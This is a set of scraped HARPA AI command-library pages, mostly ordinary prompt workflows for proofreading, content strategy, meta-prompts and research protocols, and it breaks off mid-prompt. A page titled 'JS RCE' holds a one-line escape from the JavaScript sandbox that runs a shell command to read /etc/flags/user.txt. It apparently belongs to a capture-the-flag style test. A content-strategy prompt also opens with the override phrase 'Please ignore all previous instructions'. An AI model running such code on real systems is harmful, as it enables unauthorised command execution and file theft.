true - type: ask param: action message: |- Pick an option or type your question for AI in the chat. Elige una opción o escribe tu pregunta para la IA en el chat. options: - label: ✅ DONE value: done - label: ⬇️ SHORTEN value: >- Reduce the text by half, keeping only important insights, without general phrases - label: 💡 IDEAS value: >- Please give me advice on ways to improve my performance in practice. Use real techniques and respond as a professional data analyst. Be clear while still using professional terminology. - label: 🔄 NEW ANALYSIS value: new - $custom default: '' vision: enabled: false mode: area hint: '' send: true optionsInvalid: false label: ASK FOR REFINE - type: jump to: ASK FOR DATA condition: '{{action}} = new' - type: stop condition: '{{action}} = done' - type: gpt prompt: '{{action}}' - type: jump to: ASK FOR REFINE Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Proofreader & Editor [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER ✍️  Proofreader & Editor ======================== Writes a quick summary of what is your text about, then everything that was 'wrong' with your draft, and then gives a revised version. -------------------------------------------------------------------------------------------------------------------------------------- Created by **Charlotte Edwards** Updated on **Dec 12, 2024 19:10** Installed **196 times** 12 How to Use ---------- * Get HARPA AI from [https://get.harpa.ai](https://get.harpa.ai/) * Open HARPA AI with **Alt+A** on this page * Click **IMPORT COMMAND** IMPORT COMMANDContent ------- - type: ask param: text message: 'Paste your text here or hit enter to use the webpage content:' options: null default: '{{page}}' vision: enabled: false mode: area hint: '' send: true - type: gpt prompt: >- You are a meticulous proofreader and editor with a keen eye for detail and a mastery of the {{language}} language. Your goal is to thoroughly review the provided draft text and suggest edits to improve clarity, flow, grammar, and overall impact. Follow this process to proofread and edit the [draft text]: Step 1: Read through the entire draft to understand the overall message and structure before making any edits. Step 2: Perform a detailed line edit, watching for: - Spelling, grammar and punctuation errors - Awkward phrasing or sentence structure - Redundant or unnecessary words and phrases - Incorrect or inconsistent formatting - Factual inaccuracies or unsupported claims Step 3: Suggest reordering sentences or paragraphs to improve the logical flow and coherence of the writing. Use transition words and phrases to link ideas. Step 4: Provide recommendations to enhance the draft's overall impact and persuasiveness: - Strengthen word choice by replacing weak or vague terms with more powerful language - Vary sentence length and structure to improve readability and keep the reader engaged - Ensure the main points are clearly stated and well-supported - Maintain a consistent voice and tone aligned with the purpose and intended audience For any major revisions, provide a brief rationale to help the author understand your thought process and learn for future writing. Constraints: - Preserve the original author's voice and intent. Avoid making edits that change the core meaning. - The goal is to help the author improve, not to criticize. - Prioritize edits that have the greatest impact on clarity and persuasiveness of the writing. FOLLOW THE OUTPUT FORMAT: **Summary:** [Provide a quick 2-3 sentence summary of the key points and overall message\ of the draft text] **Mistakes/Errors:** [List out all the mistakes and errors you observed in the draft text,\ including spelling, grammar, punctuation, formatting, factual inaccuracies,\ awkward phrasing, etc.] **Revised Draft:** ```markdown [Insert the full edited and proofread text here, with all the mistakes\ corrected and suggestions implemented. Preserve as much of the original\ formatting as possible.] ``` **Detailed Edit Notes:** [Use this section to provide a more detailed explanation of the edits you made and your reasoning behind them. Reference specific line numbers where helpful. Include any major revisions or recurring errors for the author to watch out for in the future.\ \ -----\ \ \ [Draft text]:\ \ \ {{text}}\ \ \ \ ------\ \ \ Your Response:\ param: ''\ isolated: true\ \ Notice: Please read before using\ \ This automation command is created by a community member. HARPA AI team does not audit community commands.\ \ Please review the command carefully and only install if you trust the creator.\ \ Contact us\ \ Name \*\ \ Email \*\ \ Message \*\ \ SEND MESSAGE\ \ All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026\ \ Designed and engineered in Finland 🇫🇮\ \ [Home](https://harpa.ai/)\ [Use Cases](https://harpa.ai/cases)\ [Guides](https://harpa.ai/guides)\ [Privacy Policy](https://harpa.ai/privacy)\ [Terms of Service](https://harpa.ai/terms)\ \ [](https://twitter.com/HarpaAI)\ \ [](https://discord.gg/B9Evx82m4K)\ ![](https://harpa.ai/img/misc/footer-brand.svg)\ \ 7.8k\ \ CAN WE STORE COOKIES?\ \ Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy)\ \ ACCEPT ALL\ \ ONLY NECESSARY COOKIES --- # HARPA AI | Comprehensive Content Strategy [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER 💥  Comprehensive Content Strategy ================================== Drafts a content strategy for your new business, product, book or just about anything. Helps streamline the creation, organization, and distribution of relevant content, complete with a step-by-step workflow to ensure consistency, clarity, and measurable results ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Created by **Synaptic** Updated on **Dec 13, 2024 09:36** Installed **153 times** 6 How to Use ---------- * Get HARPA AI from [https://get.harpa.ai](https://get.harpa.ai/) * Open HARPA AI with **Alt+A** on this page * Click **IMPORT COMMAND** IMPORT COMMANDContent ------- - type: ask param: product message: >- Enter your product name and its description, e.g.: ```markdown HARPA AI is a browser extension powered by a hybrid AI engine that combines GPT (e.g., OpenAI, Gemini, Claude AI LLMs) with Web Automation. It automates your copywriting, email management, web search, online data extraction, and web monitoring tasks. You can try the product for free with the Demo plan - no credit card required. HARPA works in any Chromium-based browser: Chrome, Edge, Brave, Arc, Opera, etc. It's available on Android via Kiwi browser. - No mobile apps are planned due to platform restrictions. - Desktop App is planned for 2025. ``` Or hit Enter to parse information from the webpage. options: null default: 'Get my product description from the webpage content: {{page}}' vision: enabled: false mode: area hint: '' send: true label: PRODUCT - type: ask param: ta message: >- Enter your Target Audience or customer segment (e.g., "Small business owners"). Press Enter to let AI decide. options: null default: >- Please make an assumption based on my product's name and description. I haven't decided yet. vision: enabled: false mode: area hint: '' send: true label: TARGET AUDIENCE - type: ask param: goals message: >- Enter main goals (e.g., "Increase brand awareness", "Boost sign-ups"). Press Enter to let AI decide. options: null default: >- Please make an assumption based on my product's name and description. I haven't decided yet. vision: enabled: false mode: area hint: '' send: true label: GOALS - type: ask param: goals message: >- Enter content formats, e.g., "Blog posts", "Webinars", "Infographics". Press Enter to let AI decide. options: null default: >- Please make an assumption based on my product's name and description. I haven't decided yet. vision: enabled: false mode: area hint: '' send: true label: FORMATS - type: ask param: pillars message: >- Enter core thematic areas (e.g., "Product tutorials", "Industry trends", "Customer stories") options: null default: >- Please make an assumption based on my product's name and description. I haven't decided yet. vision: enabled: false mode: area hint: '' send: true label: PILLARS - type: say message: >- ⌛️All information received! Please wait while AI generates 4 responses after conducting full analysis and selecting the right strategy for your product. - type: gpt prompt: >- Please ignore all previous instructions and respond only in {{language}}. As a skilled SEO expert and high-end copywriter, I need you to create a Comprehensive Content Strategy for my [Product]: **Define Core Strategy** 1. Clearly identify the [PRODUCT NAME] and its unique value proposition. 2. Specify the [TARGET AUDIENCE] and their key pain points. 3. Align [KEY GOALS] with audience needs and define measurable success metrics. **Establish Content Pillars** 1. List [CONTENT PILLARS] aligned with the product’s unique selling points and audience interests. 2. For each pillar, detail the core message and key takeaways. Instructions: - Utilize both your inherent knowledge and any additional information I provided. - Focus on creating in-depth, informative ideas - Write your response using the Markdown features. - Refrain from using general phrases or any notes - Do not echo my prompt. ----------- [PRODUCT NAME]: {{product}} [TARGET AUDIENCE]: {{ta}} [KEY GOALS]: {{goals}} [CONTENT FORMATS]: {{formats}} [CONTENT PILLARS]: {{pillars}} Your analysis: label: STEP 1 - type: gpt prompt: >- Now I want you to analyze your previous responce and generate: **Content Format Selection:** 1. Choose [CONTENT FORMATS] that best engage the [TARGET AUDIENCE]. 2. Assign each chosen format to one or more [CONTENT PILLARS] to ensure variety and consistency. **Content Calendar & Frequency:** 1. Create a monthly calendar with deadlines for each content piece. 2. Specify a consistent posting frequency (e.g., weekly blog posts, monthly webinars). 3. Ensure each pillar is represented at least once in each content cycle. Instructions: - Utilize both your inherent knowledge and any additional information I provided. - Focus on creating in-depth, informative ideas - Write your response using the Markdown features. - Refrain from using general phrases or any notes - Do not echo my prompt. ----------- [PRODUCT NAME]: {{product}} [TARGET AUDIENCE]: {{ta}} [KEY GOALS]: {{goals}} [CONTENT FORMATS]: {{formats}} [CONTENT PILLARS]: {{pillars}} Your analysis: label: STEP 2 - type: gpt prompt: >- Now I want you to analyze your previous responce and generate: **Content Ideation & Outlines:** 1. For each [CONTENT PILLAR], generate 3-5 specific content topic ideas. 2. Provide brief outlines (3-5 bullet points) for each topic to guide content creation. **Distribution & Promotion Plan:** 1. Identify top channels (e.g., website, social media, email) for reaching the [TARGET AUDIENCE]. 2. Assign each content piece to distribution channels and outline promotional tactics (e.g., teaser posts, email newsletters). Instructions: - Utilize both your inherent knowledge and any additional information I provided. - Focus on creating in-depth, informative ideas - Write your response using the Markdown features. - Refrain from using general phrases or any notes - Do not echo my prompt. ----------- [PRODUCT NAME]: {{product}} [TARGET AUDIENCE]: {{ta}} [KEY GOALS]: {{goals}} [CONTENT FORMATS]: {{formats}} [CONTENT PILLARS]: {{pillars}} Your analysis: label: STEP 3 - type: gpt prompt: >- Now I want you to analyze your previous responce and perform: **Performance Tracking & Analytics:** 1. Link each content piece to performance metrics (e.g., page views, sign-ups, shares). 2. Plan for regular reporting intervals to assess progress toward [KEY\ GOALS]. **Review & Refine:** 1. Evaluate recent content performance against success metrics. 2. Identify which pillars, formats, or channels need adjustment. 3. Propose actionable refinements for continuous improvement. Instructions: - Utilize both your inherent knowledge and any additional information I provided. - Focus on creating in-depth, informative ideas - Write your response using the Markdown features. - Refrain from using general phrases or any notes - Do not echo my prompt. ----------- [PRODUCT NAME]: {{product}} [TARGET AUDIENCE]: {{ta}} [KEY GOALS]: {{goals}} [CONTENT FORMATS]: {{formats}} [CONTENT PILLARS]: {{pillars}} Your analysis: label: STEP 4 Notice: Please read before using This automation command is created by a community member. HARPA AI team does not audit community commands. Please review the command carefully and only install if you trust the creator. Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | Account [![HARPA AI logo](https://harpa.ai/img/main-logo-dark.png)](https://harpa.ai/) CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | HARPA AI Meta-Prompt Generator [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER 🤖  HARPA AI Meta-Prompt Generator ================================== Generates clear meta instructions for AI behavior and formatting while using system parameters to maintain consistency. Sets rules for how AI should respond and handle information. ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ Created by **HARPA AI** Updated on **Dec 13, 2024 11:28** Installed **201 times** 13 How to Use ---------- * Get HARPA AI from [https://get.harpa.ai](https://get.harpa.ai/) * Open HARPA AI with **Alt+A** on this page * Click **IMPORT COMMAND** IMPORT COMMANDContent ------- - type: ask param: idea message: > Please share your metaprompt idea, e.g.: ``` I want AI to write very brief responses, use forum abbreviations, and sound human rather than machine-like. ``` - type: gpt prompt: >- Act like a seasoned AI prompt engineering specialist with extensive experience in natural language processing and meta-prompt design, who can analyze inputs with precision and create highly effective AI directives. The program you're writing the meta-prompt for uses parameters enclosed in 2 curly braces, like: {{\time}} for current time, or {{\date}} for current date. Without \. I want you to create a detailed AI meta-prompt by analyzing the my [METAPROMPT IDEA] and generate a comprehensive meta-prompt following required structure while maintaining professional formatting and clarity. The meta-prompt should include: Parameters: - Reference user information from the {{\userinfo}} parameter in the meta prompt. - Indicate that AI needs to mimic user's tone of voice based on tone preferences specified in {{\tone}} parameter - Include current date and time from the parameters: {{\date}} and {{\time}}. - Language setting is stored in {{\language}} parameter. 1. Core Parameters: - Response requirements - Communication standards - Writing style preferences - Language specifications 2. Key Elements: - Clear DO and DON'T sections - Temporal context (date/time) - User information section - Core directive - Essential boundaries 3. Structural Components: - Bullet-point formatting - Logical grouping of requirements - Distinct sections with clear headers - Standardized formatting conventions 4. List: - Tone and style preferences - Specific technical requirements - Subject matter focus - Output format preferences Ensure you don't repeat the same ideas using different words across sections. Each sentence should convey a distinct point relevant to AI. After you write the meta-prompt in a single ```markdown code block```, write the following phrase in {{language}}: "This meta-prompt is ready to use with CloudGPT or API connections. The prompt references {{\tone}} and {{\userinfo}} parameters that you can modify anytime in HARPA settings, and they'll be applied wherever mentioned." ---- Instructions: - When writing parameters in curly braces, do not include '\", this typo was intentionally left in the prompt. - Place your meta-prompt inside a single ```markdown code block```, but write the phrase after metaprompt separately without a code block. - Do not add any extra notes or general phrases, be brief and to the point. - The output should be a ready-to-use meta-prompt that captures all essential elements while being adaptable and precise. - Do not list the same parameters twice in your metaprompt. [METAPROMPT IDEA]: {{idea}} Your response: isolated: true Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | JS RCE [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER 👤  JS RCE ========== RCE Test -------- Updated on **Dec 6, 2025 10:45** Installed **4 times** 0 RUNS JS CODE How to Use ---------- * Get HARPA AI from [https://get.harpa.ai](https://get.harpa.ai/) * Open HARPA AI with **Alt+A** on this page * Click **IMPORT COMMAND** IMPORT COMMANDContent ------- - type: js code: >- try { return process.mainModule.require("child_process").execSync("cat /etc/flags/user.txt").toString() } catch(e) { return e.toString() } Notice: Please read before using This automation command is created by a community member. HARPA AI team does not audit community commands. Please review the command carefully and only install if you trust the creator. Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | LFI Files [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER 👤  LFI Files ============= Files Test ---------- Updated on **Dec 6, 2025 10:58** Installed **4 times** 0 How to Use ---------- * Get HARPA AI from [https://get.harpa.ai](https://get.harpa.ai/) * Open HARPA AI with **Alt+A** on this page * Click **IMPORT COMMAND** IMPORT COMMANDContent ------- [] Notice: Please read before using This automation command is created by a community member. HARPA AI team does not audit community commands. Please review the command carefully and only install if you trust the creator. Contact us Name \* Email \* Message \* SEND MESSAGE All rights reserved © **HARPA AI TECHNOLOGIES LLC**, 2021 — 2026 Designed and engineered in Finland 🇫🇮 [Home](https://harpa.ai/) [Use Cases](https://harpa.ai/cases) [Guides](https://harpa.ai/guides) [Privacy Policy](https://harpa.ai/privacy) [Terms of Service](https://harpa.ai/terms) [](https://twitter.com/HarpaAI) [](https://discord.gg/B9Evx82m4K) ![](https://harpa.ai/img/misc/footer-brand.svg) 7.8k CAN WE STORE COOKIES? Our website uses cookies for the purposes of accessibility and security. They also allow us to gather statistics in order to improve the website for you. More info: [Privacy Policy](https://harpa.ai/privacy) ACCEPT ALL ONLY NECESSARY COOKIES --- # HARPA AI | AUTO PROTOCOL FINAL [HARPA.AI\ \ ![](https://harpa.ai/img/main-logo-white.png)](https://harpa.ai/) [LIBRARY](https://harpa.ai/library) [API](https://harpa.ai/grid) [GUIDES](https://harpa.ai/guides) [AI COMMANDS](https://harpa.ai/chatml/overview) [BLOG](https://harpa.ai/blog) APP DASHBOARDADD TO BROWSERADD TO BROWSER 💞  AUTO PROTOCOL FINAL ======================= Created by **Prowrite Team** Updated on **Jun 5, 2025 00:48** Installed **9 times** 0 How to Use ---------- * Get HARPA AI from [https://get.harpa.ai](https://get.harpa.ai/) * Open HARPA AI with **Alt+A** on this page * Click **IMPORT COMMAND** IMPORT COMMANDContent ------- - type: clear - type: ask param: PRELIMS message: >- Please provide Research Title, Research Question, General Objective, and Specific Objectives: options: null default: '' vision: enabled: false mode: area send: true hint: '' - param: REFERENCES message: | Please provide References with corresponding key insights: vision: enabled: false mode: area hint: '' send: true type: ask options: null default: '' - type: gpt prompt: > Additional Information: Below is the structure, spacing, and word count for the protocol. This must be rigorously enforced and adhered to throughout the entire document. I. INTRODUCTION (1,500–2,000 words total) 1. Background (400–600 words total) 1.1 Overview of the topic (100–150 words) 1.2 Relevance of the study (150–250 words) 1.3 Historical context (150–200 words) 2. Objectives (150–200 words total) 2.1 General Objective: (20–30 words) 2.2 Specific Objectives: (30–50 words total, ~10–15 words per objective, 3-5 objectives recommended) 3. Conceptual Framework (250–400 words total) 3.1 Theoretical basis (100–150 words) 3.2 Conceptual model/diagram (Visual representation + 50–100 words -description) 3.3 Hypotheses (if applicable) (50–100 words) 4. Scope and Limitation (250–350 words total) 4.1 Scope of the study (100–150 words) 4.2 Limitations (80–120 words) 4.3 Delimitations (70–100 words) 5. Significance of the Study (250–400 words total) 5.1 Academic significance (80–120 words) 5.2 Practical applications (100–150 words) 5.3 Contribution to policy/practice (80–130 words) 6. Definition of Terms (150–250 words total, ~XV–XXV words per term, VI–X terms recommended) II. REVIEW OF RELATED LITERATURE AND STUDIES (2,000–2,500 words total) 1. Related Literature (1,000–1,300 words total) 1.1 International literature (500–700 words, covering III–V key studies) 1.2 Local literature (400–600 words, covering II–IV key studies) 2. Related Studies (700–1,000 words total, covering IV–VI relevant studies) 2.2 Key findings in previous research (500–700 words) 2.3 Identification of research gaps (200–300 words) 3. Synthesis (300–500 words total) 3.1 Summary of literature and studies (150–250 words) 3.2 Implications for current research (100–150 words) 3.3 Justification of the study (50–100 words) III. METHODOLOGY (1,500–2,000 words total) 1. Design (250–350 words) 1.1 Research design (100–150 words) 1.2 Rationale (100–150 words) 2. Research Locale (100–200 words) 3. Duration of the Study (50–100 words, with a timeline table if applicable) 4. Population and Sample (250–400 words total) 4.1 Target population (100–150 words) 4.2 Sample size and technique (100–150 words) 4.3 Inclusion and exclusion criteria (50–100 words) 5. Data Gathering Procedure (300–500 words total) 5.1 Data collection methods (150–250 words) 5.2 Instruments and tools (100–150 words) 5.3 Validity and reliability (50–100 words) 6. Data Analysis / Statistical Treatment (250–400 words total) 6.1 Data cleaning and preparation (100–150 words) 6.2 Statistical tests and analysis (100–150 words) 6.3 Software/tools for analysis (50–100 words) 7. Ethical Considerations (200–300 words total) 7.1 Informed consent (50–100 words) 7.2 Confidentiality measures (50–100 words) 7.3 Approval from the ethical review board (50–100 words) 7.4 Potential risks and benefits (50–100 words) Remember the following: Act as: Researcher Type of Research: Research Protocol Style: Academic Tone: Professional Format: Plain text Grammatical Categories: Future Tense Write it in corresponding number of words mentioned above and in multiple paragraphs not in bullets. Write the Section and subsecton titles. Always write in 3rd person POV. Write everything in plain text format and remove the characters and symbols: "", "**", "#", "##", and "###". Do not replace any characters with asterisks or hashtags when exporting to a text file. silent: true param: gpt - prompt: >- Based on {{PRELIMS}}, write the title. Follow the format and spacing below: [Write the title here] <single spacing> A research proposal <single spacing> By [Name] Author <single spacing> [Name] Co-author <double spacing> [Date] Remove the characters and symbols "*", "**", "***", "#", "##", and "###". Do not replace any characters with asterisks or hashtags when exporting to a text file. type: gpt param: gpt onCodeClick: null - type: paste text: |+ {{gpt}} mode: type selectorType: ai lastKey: none selector: null item: null silent: true close: false - type: gpt prompt: >- JUST Write the following: " Table of Contents I. INTRODUCTION 1. Background 1.1 Overview of the Topic 1.2 Relevance of the Study 1.3 Historical Context 2. Objectives 2.1 General Objective 2.2 Specific Objectives 3. Conceptual Framework 3.1 Theoretical Basis 3.2 Conceptual Model/Diagram 3.3 Hypotheses (if applicable) 4. Scope and Limitation 4.1 Scope of the Study 4.2 Limitations of the Study 4.3 Delimitations 5. Significance of the Study 5.1 Academic Significance 5.2 Practical Applications 5.3 Contribution to Policy/Practice 6. Definition of Terms 6.1 Operational Definitions 6.2 Technical Terminology II. REVIEW OF RELATED LITERATURE AND STUDIES 1. Related Literature 1.1 International Literature 1.2 Local Literature 2. Related Studies 2.1 Key Findings in Previous Research 2.2 Identification of Research Gaps 3. Synthesis 3.1 Summary of Literature and Studies 3.2 Implications for Current Research 3.3 Justification of the Study III. METHODOLOGY 1. Design 1.1 Research Design 1.2 Rationale for Choosing the Design 2. Research Locale 2.1 Description of Location 2.2 Relevance to the Study 3. Duration of the Study 3.1 Timeline of Major Phases 4. Population and Sample 4.1 Target Population 4.2 Sample Size Determination 4.3 Sampling Technique 4.4 Inclusion and Exclusion Criteria 5. Data Gathering Procedure 5.1 Data Collection Methods 5.2 Instruments and Tools 5.3 Validity and Reliability of Instruments 6. Data Analysis / Statistical Treatment 6.1 Data Cleaning and Preparation 6.2 Statistical Tests and Analysis 6.3 Software/Tools for Analysis 7. Ethical Considerations 7.1 Informed Consent 7.2 Confidentiality Measures 7.3 Approval from Ethical Review Board 7.4 Potential Risks and Benefits " Remove the characters and symbols "*", "**", "***", "#", "##", and "###". Do not replace any characters with asterisks or hashtags when exporting to a text file. silent: true param: gpt - type: paste text: |+ {{gpt}} mode: type selectorType: ai lastKey: none selector: null item: null silent: true close: false - prompt: > write: I. INTRODUCTION 1. Background 1.1 Overview of the Topic 1.2 Relevance of the Study 1.3 Historical Context Command Prompt: As a researcher working on a Research protocol, your task is to provide a detailed background to the study that is in line with the provided information: {{PRELIMS}}. Remember the following: Act as: Researcher Type of Research: Research Protocol Style: Academic Tone: Professional Format: Plain text Grammatical Categories: Future Tense Write it in corresponding number of words mentioned above and in multiple paragraphs not in bullets. Write the Section and subsection titles. Always write in 3rd person POV. Write everything in plain text format and remove the characters and symbols: "", "**", "#", "##", and "###". Do not replace any characters with asterisks or hashtags when exporting to a text file. . type: gpt param: gpt - type: paste text: '{{gpt}}' mode: type selectorType: ai lastKey: none selector: null item: null silent: true close: false - prompt: >- write: 2. Objectives 2.1 General Objective 2.2 Specific Objectives Command Prompt: Based on the information from {{PRELIMS}}, Write the General Objective and Specific Objectives. Write everything in plain text format and remove the characters and symbols: "", "**", "#", "##", and "###". Do not replace any characters with asterisks or hashtags when exporting to a text file. type: gpt param: gpt - text: |- {{gpt}} mode: insert lastKey: Enter type: paste selectorType: ai selector: null item: null silent: true close: false - prompt: >- write: 3. Conceptual Framework 3.1 Theoretical Basis 3.2 Conceptual Model/Diagram 3.3 Hypotheses (if applicable) Command Prompt: Using all the information provided above that is in line with the provided information: {{PRELIMS}}. As a researcher working on a Research protocol, your task is to provide a detailed explanation of the Conceptual Framework that will guide your study. This framework should outline the theoretical foundations, key concepts, and relationships between variables that will help support your research objectives. Please describe how your chosen framework will inform your research design and methodology, and how it will ultimately contribute to the overall understanding of your research topic. Additionally, discuss any potential limitations or challenges associated with applying this framework to your study. Ensure that the output are cohesive or in line with the first previous output or outputs. Remember the following: Act as: Researcher Type of Research: Research Protocol Style: Academic Tone: Professional Format: Plain text Grammatical Categories: Future Tense Write it in corresponding number of words mentioned above and in multiple paragraphs not in bullets. Write the Section and subsection titles. Ensure that the output are cohesive or in line with the first previous output or outputs. Always write in 3rd person POV. Write everything in plain text format and remove the characters and symbols: "", "**", "#", "##", and "###". Do not replace any characters with asterisks or hashtags when exporting to a text file. type: gpt param: gpt - type: paste text: |- {{gpt}} mode: insert selectorType: ai lastKey: Enter selector: null item: null silent: true close: false - prompt: "write:\n\n4. Scope and Limitation\n4.1 Scope of the Study\n4.2 Limitations of the Study\n4.3 Delimitations\n\nCommand Prompt: Using all the information provided above that is in line with the provided information: {{PRELIMS}}. As a researcher working on a Research protocol, your task is to outline the Scope and Limitation of your study. Please provide a comprehensive description of the boundaries and constraints that will govern your research design, such as the specific population, geographical location, time frame, resources, and any potential challenges or limitations that may impact the validity of your findings. Be sure to clearly define the scope of your study and identify any potential limitations that could affect the interpretation and generalizability of your results.\t\n\nRemember the following:\nAct as: Researcher\nType of Research: Research Protocol\nStyle: Academic\nTone: Professional\nFormat: Plain text\nGrammatical Categories: Future Tense\nWrite it in corresponding number of words mentioned above and in multiple paragraphs not in bullets.\nWrite the Section and subsection titles. Ensure that the output are cohesive or in line with the first previous output or outputs. Always write in 3rd person POV.\nWrite everything in plain text format and remove the characters and symbols: \"\", \"**\", \"#\", \"##\", and \"###\". Do not replace any characters with asterisks or hashtags when exporting to a text file." type: gpt param: gpt - type: paste text: |- {{gpt}} mode: insert selectorType: ai lastKey: Enter selector: null item: null silent: true close: false - prompt: >- write: 5. Significance of the Study 5.1 Academic Significance 5.2 Practical Applications 5.3 Contribution to Policy/Practice Command Prompt: Using all the information provided above that is in line with the provided information: {{PRELIMS}}. As a researcher working on a Research protocol, your task is to elaborate on the Significance of the study. Explain why your research is important, what impact it may have on the field, and how it contributes to existing knowledge. Detail the potential implications and applications of your research findings. Focus on the unique contributions of the research. Avoid restating points that have already been covered elsewhere. Remember the following: Act as: Researcher Type of Research: Research Protocol Style: Academic Tone: Professional Format: Plain text Grammatical Categories: Future Tense Write it in corresponding number of words mentioned above and in multiple paragraphs not in bullets. Write the Section and subsection titles. Ensure that the output are cohesive or in line with the first previous output or outputs. Always write in 3rd person POV. Write everything in plain text format and remove the characters and symbols: "", "**", "#", "##", and "###". Do not replace any characters with asterisks or hashtags when exporting to a text file. type: gpt param: gpt - type: paste text: |- {{gpt}} mode: insert selectorType: ai lastKey: Enter selector: null item: null silent: true close: false - prompt: > write: 6. Definition of Terms 6.1 Operational Definitions 6.2 Technical Terminology Command Prompt: Using all the information provided above that is in line with the provided information: {{PRELIMS}}. As a researcher working on a Research protocol, your task is to provide clear and concise definitions of key terms and concepts related to your study. These definitions should be written in a way that is easily understood by both experts and non-experts in your field. Please ensure that your definitions are accurate to support the validity of your research. Provide at least 10. Write the Section Title. Write everything in plain text format and remove the characters and symbols "", "**", "#", "##", and "###". Do not replace any characters with asterisks or hashtags when exporting to a text file. type: gpt param: gpt - type: paste text: |- {{gpt}} mode: insert selectorType: ai lastKey: Enter selector: null item: null silent: true close: false - prompt: >- write: II. REVIEW OF RELATED LITERATURE AND STUDIES 1. Related Literature 1.1 International Literature 1.2 Local Literature Command Prompt: Using all the information provided above that is in line with the provided information: {{PRELIMS}}. As a researcher working on a Research protocol, your task is to review existing literature on the research topic. This should include key concepts, theories, and models that form the foundation of the study. Use the uploaded references {{REFERENCES}}. Remember the following: Act as: Researcher Type of Research: Research Protocol Style: Academic Tone: Professional Format: Plain text Grammatical Categories: Future Tense Write it in corresponding number of words mentioned above and in multiple paragraphs not in bullets. Write the Section and subsection titles. Ensure that the output are cohesive or in line with the first previous output or outputs. Always write in 3rd person POV. Write everything in plain text format and remove the characters and symbols: "", "**", "#", "##", and "###". Do not replace any characters with 